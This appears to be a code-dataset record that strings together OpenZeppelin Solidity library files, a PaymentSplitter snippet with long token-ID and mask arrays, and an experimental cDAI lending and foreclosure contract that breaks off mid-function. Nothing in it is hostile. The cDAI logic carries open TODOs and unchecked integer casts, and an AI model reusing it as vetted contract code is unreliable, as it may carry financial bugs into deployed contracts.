* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
|
* @dev Creates an instance of `PaymentSplitter` where each account in `payees` is assigned the number of shares at the matching position in the `shares` array. All addresses in `payees` must be non-zero. Both arrays must have the same non-zero length, and there must be no duplicates in `payees`./
|
constructor(address[] memory payees, uint256[] memory shares_) payable {
require(payees.length == shares_.length, "PaymentSplitter: payees and shares length mismatch");
require(payees.length > 0, "PaymentSplitter: no payees");
for (uint256 i = 0; i < payees.length; i++) {
_addPayee(payees[i], shares_[i]);
}
}
| 1,243 |
[
1,
2729,
392,
791,
434,
1375,
6032,
26738,
68,
1625,
1517,
2236,
316,
1375,
10239,
25521,
68,
353,
6958,
326,
1300,
434,
24123,
622,
326,
3607,
1754,
316,
326,
1375,
30720,
68,
526,
18,
4826,
6138,
316,
1375,
10239,
25521,
68,
1297,
506,
1661,
17,
7124,
18,
19118,
5352,
1297,
1240,
326,
1967,
1661,
17,
7124,
769,
16,
471,
1915,
1297,
506,
1158,
11211,
316,
1375,
10239,
25521,
8338,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
3885,
12,
2867,
8526,
3778,
8843,
25521,
16,
2254,
5034,
8526,
3778,
24123,
67,
13,
8843,
429,
288,
203,
3639,
2583,
12,
10239,
25521,
18,
2469,
422,
24123,
27799,
2469,
16,
315,
6032,
26738,
30,
8843,
25521,
471,
24123,
769,
13484,
8863,
203,
3639,
2583,
12,
10239,
25521,
18,
2469,
405,
374,
16,
315,
6032,
26738,
30,
1158,
8843,
25521,
8863,
203,
203,
3639,
364,
261,
11890,
5034,
277,
273,
374,
31,
277,
411,
8843,
25521,
18,
2469,
31,
277,
27245,
288,
203,
5411,
389,
1289,
9148,
1340,
12,
10239,
25521,
63,
77,
6487,
24123,
67,
63,
77,
19226,
203,
3639,
289,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/80001/0xbd36272007F2c1BfDb3C62fC523df0417e5e876F/sources/VeritreeVersion1/veritree-factory.sol
|
tokenid => corporate_partner_address
|
address withdraw_address;
| 5,695,776 |
[
1,
2316,
350,
516,
1858,
3831,
340,
67,
31993,
67,
2867,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
3639,
1758,
598,
9446,
67,
2867,
31,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity >=0.4.0 <0.6.0;
import "openzeppelin-solidity/contracts/token/ERC20/IERC20.sol";
import "openzeppelin-solidity/contracts/math/SafeMath.sol";
import "./DET.sol";
/*
* Based on open-zeppelin implementation of ERC20 tokens:
* https://github.com/OpenZeppelin/openzeppelin-solidity/blob/9b3710465583284b8c4c5d2245749246bb2e0094/contracts/token/ERC20/ERC20.sol
*/
contract cDAI is IERC20 {
using SafeMath for uint256;
mapping(address => int256) private _balances; // signed int, may be negative!
mapping(address => mapping(address => uint256)) private _allowed;
uint256 private _totalSupply;
DET det;
IERC20 dai;
mapping(address => uint256) detHolderBorrowedCDAI; // keeps track of cdai generated for det holders
mapping(address => uint256) debtTimers; // time of foreclosure for open debts
uint public detDivider;
event DebtSettled(address detHolder);
event Debt(address detHolder, int amount, uint mustBePaidBy);
event ValueChanged(uint daiBalance, uint detDivider);
event Foreclosed(address detHolder, address sender, uint detAmount);
constructor(address _dai, uint supply) public {
dai = IERC20(_dai);
det = DET(msg.sender);
detDivider = 10 * supply;
}
function deposit(uint amount) public {
require(int(amount) > 0, "Deposit too large");
require(dai.transferFrom(msg.sender, address(this), amount), "DAI deposit failed");
_mint(msg.sender, amount);
if (_balances[msg.sender] >= 0 && debtTimers[msg.sender] != 0) {
debtTimers[msg.sender] = 0;
emit DebtSettled(msg.sender);
}
uint daiBalance = dai.balanceOf(address(this));
emit ValueChanged(daiBalance, detDivider);
}
function withdraw(uint amount) public {
require(int(amount) > 0, "Withdraw too large");
require(int(amount) <= _balances[msg.sender], "Insufficient funds");
_burn(msg.sender, amount);
require(dai.transfer(msg.sender, amount), "DAI transfer back to sender failed");
uint daiBalance = dai.balanceOf(address(this));
emit ValueChanged(daiBalance, detDivider);
}
event DuringUpdate(uint currentValue, uint detHolderBorrowedCDAI, address detHolder, int detHolderBalance);
// can be called by anyone. updates cDAI balances of a DET holder after ValueChange events.
// On value increase, DET holder calls it to mint cDAI. On value decrease, anyone may call it to create a debt, and foreclose DET is the holder does not settle it.
function updateDETHolderBalance(address detHolder) public {
uint detHolderBalance = det.balanceOf(detHolder);
// require(detHolderBalance > 0, "Insufficient DET balance");
uint currentValue = dai.balanceOf(address(this)).mul(detHolderBalance).div(detDivider);
// emit DuringUpdate(currentValue, detHolderBorrowedCDAI[detHolder], detHolder, _balances[detHolder]);
// TODO: check this conversion!
int diff = int(currentValue) - int(detHolderBorrowedCDAI[detHolder]);
detHolderBorrowedCDAI[detHolder] = currentValue;
// TBD: maybe use if (diff > 0) SafeAdd else SafeSub(-diff)
if (diff > 0) {
_mint(detHolder, uint(diff));
} else if (diff < 0) {
_burn(detHolder, uint(- diff));
// emit DuringUpdate(currentValue, detHolderBorrowedCDAI[detHolder], detHolder, diff);
}
// _balances[detHolder] += diff;
if (_balances[detHolder] < 0 && debtTimers[detHolder] == 0) {
uint mustBePaidBy = now + 1 hours;
debtTimers[detHolder] = mustBePaidBy;
emit Debt(detHolder, _balances[detHolder], mustBePaidBy);
}
}
function forecloseDET(address detHolder, uint amount) public {
require(int(amount) > 0, "amount too large");
uint daiBalance = dai.balanceOf(address(this));
updateDETHolderBalance(detHolder);
require(_balances[detHolder] + int(amount) <= 0, "DET owner not in debt");
require(debtTimers[detHolder] > 0 && debtTimers[detHolder] < now, "Not due date yet");
uint detAmount = amount * detDivider / daiBalance;
require(_balances[msg.sender] >= int(amount) && det.balanceOf(detHolder) >= detAmount, "Sender doesn't have enough cDAI to foreclose DET");
transfer(detHolder, amount);
det.foreclose(detHolder, msg.sender, detAmount);
emit Foreclosed(detHolder, msg.sender, detAmount);
// Debt fully settled?
if (_balances[detHolder] >= 0) {
debtTimers[detHolder] = 0;
emit DebtSettled(detHolder);
}
}
event BeforeUpdate(uint detValue, address from, address to, int fromBalance, int toBalance, int iamount);
event AfterUpdate(uint detValue, address from, address to, int fromBalance, int toBalance, int iamount);
function transferByDET(address from, address to, uint detAmount) public {
require(msg.sender == address(det), "Only DET contract can call this function");
uint daiBalance = dai.balanceOf(address(this));
uint amount = detAmount.mul(daiBalance).div(detDivider);
int iamount = int(amount);
// emit BeforeUpdate(detValue, from, to, _balances[from], _balances[to], iamount);
require(iamount >= 0, "Amount too large");
// Ensure that balance is updated to current DET value
updateDETHolderBalance(from);
require(iamount <= _balances[from], "Insufficient cDai balance ");
updateDETHolderBalance(to);
// emit AfterUpdate(detValue, from, to, _balances[from], _balances[to], iamount);
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
if (_balances[owner] <= 0)
return 0;
return uint(_balances[owner]);
}
function debtOf(address owner) public view returns (int256) {
if (_balances[owner] >= 0)
return 0;
return _balances[owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address owner,
